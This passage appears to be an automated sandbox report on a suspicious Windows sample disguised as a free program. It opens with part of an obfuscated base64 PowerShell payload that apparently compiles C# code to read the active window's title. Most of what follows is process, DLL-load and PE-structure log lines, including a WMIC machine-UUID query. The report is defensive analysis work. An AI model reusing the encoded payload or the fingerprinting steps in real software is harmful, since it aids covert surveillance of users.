A1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAY	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" csproduct get uuid /value	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES13F5.tmp" "c:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP"	Jump to behavior

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: dGhlYXB0Z3JvdXA=-free.exe

Static file information: File size 34433319 > 1048576

Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x155e800
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x9fb200

Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\deno\deno\target\release\deps\deno.pdb source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5E1E000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.pdbhP source: powershell.exe, 00000008.00000002.1405004503.00000289C828D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.1607906058.0000019F711C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbz source: powershell.exe, 0000000D.00000002.1610250274.0000019F714AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.pdbhP source: powershell.exe, 0000000D.00000002.1552133148.0000019F016DD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: e.pdbD source: powershell.exe, 0000000D.00000002.1610250274.0000019F71492000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdbID( source: powershell.exe, 0000000D.00000002.1610250274.0000019F71492000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 6?t.Automation.pdby source: powershell.exe, 0000000D.00000002.1607906058.0000019F7126E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbAc source: powershell.exe, 0000000D.00000002.1610250274.0000019F714D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\symbols\dll\System.Core.pdb6 source: powershell.exe, 00000008.00000002.1429734066.00000289DEEC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.1610250274.0000019F714AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.Core.pdb source: powershell.exe, 00000008.00000002.1428309056.00000289DEC60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.pdb source: powershell.exe, 00000008.00000002.1405004503.00000289C828D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ;C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.pdb source: powershell.exe, 0000000D.00000002.1552133148.0000019F016DD000.00000004.00000800.00020000.00000000.sdmp

Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: dGhlYXB0Z3JvdXA=-free.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline"

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Code function: 0_3_00000291000C4E2F push edx; ret	0_3_00000291000C4E58
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Code function: 0_3_00000291000C6B36 push edx; ret	0_3_00000291000C6FD2
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Code function: 0_3_00000291000C874F push edx; ret	0_3_00000291000C8778
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Code function: 0_3_00000291000CA06E push edx; ret	0_3_00000291000CA4E5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC48368D push eax; ret	8_2_00007FFAAC483721

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.dll			Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
